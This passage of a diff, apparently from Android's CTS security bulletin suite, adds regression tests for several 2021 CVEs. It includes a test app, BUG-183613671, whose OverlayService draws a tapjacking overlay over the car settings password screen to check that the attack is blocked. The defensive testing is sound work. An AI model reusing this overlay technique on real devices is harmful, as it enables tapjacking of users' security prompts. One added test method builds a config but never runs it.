+ * b/190188264
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 190188264)
+ @Test
+ public void testPocCVE_2021_0689() throws Exception {
+ String inputFiles[] = {"cve_2021_0689.png"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0689",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
new file mode 100644
index 00000000000..5f13cf6feec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java
@@ -0,0 +1,49 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0693 extends BaseHostJUnit4Test {
+
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0693";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0693.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ /**
+ * b/184046948
+ */
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 184046948)
+ @Test
+ public void testPocCVE_2021_0693() throws Exception {
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testHeapDumpAccessibility");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
new file mode 100644
index 00000000000..c46bedeb2f7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0706 extends BaseHostJUnit4Test {
+
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0706.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @AppModeFull
+ @AsbSecurityTest(cveBugId = 193444889)
+ @Test
+ public void testPocCVE_2021_0706() throws Exception {
+ ITestDevice device = getDevice();
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+ installPackage(TEST_APP);
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testDisablePlugin");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
new file mode 100644
index 00000000000..27900e19fcb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0921 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0921.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 195962697)
+ @AppModeFull
+ public void testRunDeviceTest() throws Exception {
+
+ CLog.i("testRunDeviceTest() start");
+ installPackage();
+
+ //ensure the screen is woken up.
+ //KEYCODE_WAKEUP wakes up the screen
+ //KEYCODE_MENU called twice unlocks the screen (if locked)
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+ //run the test
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+ CLog.i("testRunDeviceTest() end");
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
new file mode 100644
index 00000000000..617658973bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0925 extends SecurityTestCase {
+
+ /**
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = 191444150)
+ public void testPocCVE_2021_0925() throws Exception {
+ pocPusher.only64();
+ String binaryName = "CVE-2021-0925";
+ String inputFiles[] = {"cve_2021_0925"};
+ String signals[] = {CrashUtils.SIGSEGV};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java
new file mode 100644
index 00000000000..65d687e4b17
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_6685.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_6685 extends SecurityTestCase {
+
+ /**
+ * b/190286685
+ * Vulnerability Behaviour: SIGSEGV in self
+ */
+ @AsbSecurityTest(cveBugId = 190286685)
+ @Test
+ public void testPocCVE_2021_6685() throws Exception {
+ assumeFalse(moduleIsPlayManaged("com.google.android.media"));
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-6685", null, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 36bcd0d3fb2..06cf21a7068 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -254,6 +254,17 @@ public class TestMedia extends SecurityTestCase {
}
/**
+ * b/74122779
+ * Vulnerability Behaviour: SIGABRT in audioserver
+ */
+ @Test
+ @AsbSecurityTest(cveBugId = 74122779)
+ public void testPocCVE_2018_9428() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+ }
+
+ /**
* b/64340921
* Vulnerability Behaviour: SIGABRT in audioserver
*/
@@ -498,26 +509,6 @@ public class TestMedia extends SecurityTestCase {
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
- /**
- * b/112891564
- * Vulnerability Behaviour: SIGSEGV in self (Android P),
- * SIGABRT in self (Android Q onward)
- */
- @Test
- @AsbSecurityTest(cveBugId = 112891564)
- public void testPocCVE_2018_9537() throws Exception {
- String binaryName = "CVE-2018-9537";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
- AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- // example of check crash to skip:
- // Abort message: 'frameworks/av/media/extractors/mkv/MatroskaExtractor.cpp:548 CHECK(mCluster) failed.'
- testConfig.config = new CrashUtils.Config()
- .setProcessPatterns(binaryName)
- .appendAbortMessageExcludes("CHECK\\(.*?\\)");
- testConfig.config.setSignals(signals);
- AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
- }
-
/******************************************************************************
* To prevent merge conflicts, add tests for Q below this comment, before any
* existing test methods
diff --git a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
index 90ee4ffbb43..e02248dcdf1 100644
--- a/hostsidetests/userspacereboot/testapps/BootCompletedTestApp/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
@@ -1,10 +1,10 @@
-// Copyright (C) 2020 The Android Open Source Project
+// Copyright (C) 2021 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
-// http://www.apache.org/licenses/LICENSE-2.0
+// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
@@ -12,22 +12,20 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
- name: "BootCompletedUserspaceRebootTestApp",
- srcs: ["src/**/*.java"],
- manifest : "AndroidManifest.xml",
+ name: "BUG-183613671",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
static_libs: [
- "androidx.test.runner",
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
"androidx.test.core",
- "compatibility-device-util-axt",
- "testng",
- "truth-prebuilt",
],
- min_sdk_version: "29",
- sdk_version: "30",
- target_sdk_version: "29",
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml
new file mode 100644
index 00000000000..b749d8e2a37
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/AndroidManifest.xml
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_183613671"
+ minSdkVersion="29">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application android:theme="@style/Theme.AppCompat.Light">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".OverlayService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <activity
+ android:name=".MainActivity"
+ android:label="ST (Permission)"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.BUG_183613671.MainActivity">
+
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_183613671" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml
new file mode 100644
index 00000000000..0ac0cf489f4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<RelativeLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:gravity="left"
+ tools:context=".MainActivity" >
+
+ <LinearLayout
+ android:id="@+id/linearLayout1"
+ android:layout_width="fill_parent"
+ android:layout_height="wrap_content"
+ android:layout_below="@+id/seekShowTimes"
+ android:layout_centerHorizontal="true"
+ android:layout_marginTop="53dp"
+ android:orientation="horizontal" >
+
+ <Button
+ android:id="@+id/btnStart"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Start" />
+
+ </LinearLayout>
+
+</RelativeLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml
new file mode 100644
index 00000000000..018e7fee76d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/res/values/strings.xml
@@ -0,0 +1,21 @@
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources>
+ <string name="app_name">BUG_183613671</string>
+ <string name="app_description">This is an overlay-activity</string>
+ <string name="tapjacking_text">BUG_183613671 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java
new file mode 100644
index 00000000000..eaa58b8d361
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/Constants.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183613671;
+
+final class Constants {
+
+ public static final String LOG_TAG = "BUG-183613671";
+ public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+ public static final String ACTION_START_TAPJACKING = "BUG_183613671.start_tapjacking";
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java
new file mode 100644
index 00000000000..d81bb954b6e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/DeviceTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183613671;
+
+import static android.security.cts.BUG_183613671.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private static final long WAIT_FOR_UI_TIMEOUT = 20_000;
+
+ private Context mContext;
+ private UiDevice mDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+ mContext = getApplicationContext();
+
+ // If the permission is not granted, the app will not be able to show an overlay dialog.
+ // This is required for the test below.
+ // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+ assertEquals("Permission SYSTEM_ALERT_WINDOW not granted!",
+ mContext.checkSelfPermission("android.permission.SYSTEM_ALERT_WINDOW"),
+ PackageManager.PERMISSION_GRANTED);
+
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ if (!mDevice.isScreenOn()) {
+ mDevice.wakeUp();
+ }
+ mDevice.pressHome();
+ }
+
+ @Test
+ public void testTapjacking() throws InterruptedException {
+ Log.d(LOG_TAG, "Starting tap-jacking test");
+
+ launchTestApp();
+
+ launchTapjackedActivity();
+
+ mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+ Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+ UiObject2 overlay = waitForView(By.text("BUG_183613671 OVERLAY TEXT"));
+ assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+ }
+
+ @After
+ public void tearDown() {
+ mDevice.pressHome();
+ }
+
+ private void launchTestApp() {
+ Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+ Constants.TEST_APP_PACKAGE);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mContext.startActivity(intent);
+
+ // Wait for the app to appear
+ UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+ assertNotNull("test-app did not appear!", view);
+ Log.d(LOG_TAG, "test-app appeared");
+ }
+
+ private void launchTapjackedActivity() {
+ Intent intent = new Intent();
+ intent.setAction("android.car.settings.SCREEN_LOCK_ACTIVITY");
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent);
+
+ UiObject2 activityInstance = waitForView(By.pkg("com.android.car.settings").depth(0));
+ assertNotNull("Activity under-test was not launched or found!", activityInstance);
+
+ UiObject2 textView = waitForView(By.res("com.android.car.settings", "password_entry"));
+ assertNotNull("Password confirmation screen was not launched or found!", textView);
+ textView.setText("test1234");
+ mDevice.pressEnter();
+
+ Log.d(LOG_TAG, "Started Activity under-test.");
+ }
+
+ private UiObject2 waitForView(BySelector selector) {
+ return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java
new file mode 100644
index 00000000000..59de10faa3e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_183613671;
+
+import static android.security.cts.BUG_183613671.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ public void onReceive(Context context, Intent intent) {
+ startTapjacking();
+ }
+ };
+
+ private Button btnStart;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+
+ registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+ btnStart = (Button) findViewById(R.id.btnStart);
+ btnStart.setOnClickListener(v -> startTapjacking());
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ unregisterReceiver(mReceiver);
+ stopOverlayService();
+ }
+
+ public void startTapjacking() {
+ Log.d(LOG_TAG, "Starting tap-jacking flow.");
+ stopOverlayService();
+
+ startOverlayService();
+ Log.d(LOG_TAG, "Started overlay-service.");
+ }
+
+ private void startOverlayService() {
+ startService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+
+ private void stopOverlayService() {
+ stopService(new Intent(getApplicationContext(), OverlayService.class));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java
new file mode 100644
index 00000000000..955aac43894
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/src/android/security/cts/BUG_183613671/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183613671;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+ public Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ @Override
+ public void onCreate() {
+ Log.d(Constants.LOG_TAG, "onCreate() called");
+ super.onCreate();
+
+ DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+ int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+ int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.CENTER;
+ mLayoutParams.width = scaledWidth;
+ mLayoutParams.height = scaledHeight;
+ mLayoutParams.x = scaledWidth / 2;
+ mLayoutParams.y = scaledHeight / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ Log.d(Constants.LOG_TAG, "onStartCommand() called");
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(Constants.LOG_TAG, "onDestroy() called");
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ if (!Settings.canDrawOverlays(this)) {
+ Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+ }
+
+ mButton = new Button(getApplicationContext());
+ mButton.setText(getResources().getString(R.string.tapjacking_text));
+ mButton.setTag(mButton.getVisibility());
+ mWindowManager.addView(mButton, mLayoutParams);
+
+ new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+ Log.d(Constants.LOG_TAG, "Floating window created");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index 108eaf88ccd..b2dc9b816ac 100644
